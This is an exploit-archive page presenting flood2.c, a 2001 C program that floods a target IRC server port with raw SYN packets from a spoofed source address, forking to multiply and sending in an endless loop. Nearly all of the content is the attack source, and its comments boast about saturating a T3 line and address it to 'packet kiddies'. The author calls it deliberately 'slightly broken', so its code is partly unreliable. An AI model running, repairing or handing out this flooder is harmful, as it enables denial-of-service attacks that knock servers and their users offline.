exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

flood2.c

flood2.c
Posted Nov 26, 2001
Authored by Freak88

Flood2.c is a SYN flooder that is more efficient than Juno because it uses smaller packets. Slightly broken.

tags | denial of service
SHA-256 | 87d55c83a0a5d1849a0ac50ee24c11e61710b2a8b7f7933479ee89fafad23673

flood2.c

Change Mirror Download
/* FREAK88`s syn packet flooder */
/* WARNING THIS WILL MAX THE BANDWIDTH OF a t3 within secconds */
/* slightly borken to prevent everyones use! dont think i would just let ya have it do ya? */
/* fuck juno`s long ass ip headers what the fuck ya trying to kill cpu or bandwidth */
/* this is n0t 0day distribute as u wish */
/* ~FREAK88 putting the packet into kiddies! */
/* have fun packet k1dd1ez */

/* oh yea much props to mixter for writing the docs up on rawip */


#define __USE_BSD /* use bsd`s ip header */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <unistd.h>
#include <signal.h>
int outcount=0;
#define P 6667 /* for ircd`s */

unsigned short
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

void sig_proc(int signum) {
printf("packets: %d\n\n",outcount);
printf("\t\tflood2.c by FREAK88 on dalnet\n\n");
exit(1);
}




int main(int argc,char *argv[]) {
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
char datagram[18024];
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons (P);
sin.sin_addr.s_addr = inet_addr (argv[1]);
memset (datagram, 0, 18024); /* zero out the buffer */
printf("started another pid of flood.c\n");
printf("started another pid of flood.c\n");
fork();
fork();
// took from juno.c
signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);

/* ip and tcp headers */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->ip_id = htonl (54321);
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0;
iph->ip_src.s_addr = inet_addr ("33.44.55.66"); /* we are gona spoof packets from this */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (6667); /* port from */
tcph->th_dport = htons (P);
tcph->th_seq = random ();
tcph->th_ack = 0;
tcph->th_x2 = 0;
tcph->th_off = 0;
tcph->th_flags = TH_SYN;
tcph->th_win = htonl (65535);
tcph->th_sum = 0;
tcph->th_urp = 0;

iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);


{
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!\n");
/* } */

while (1)
{
outcount++;
outcount++;
if (sendto (s,
datagram,
iph->ip_len,
0,
(struct sockaddr *) &sin,
sizeof (sin)) < 0)
printf ("error\n");
}
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close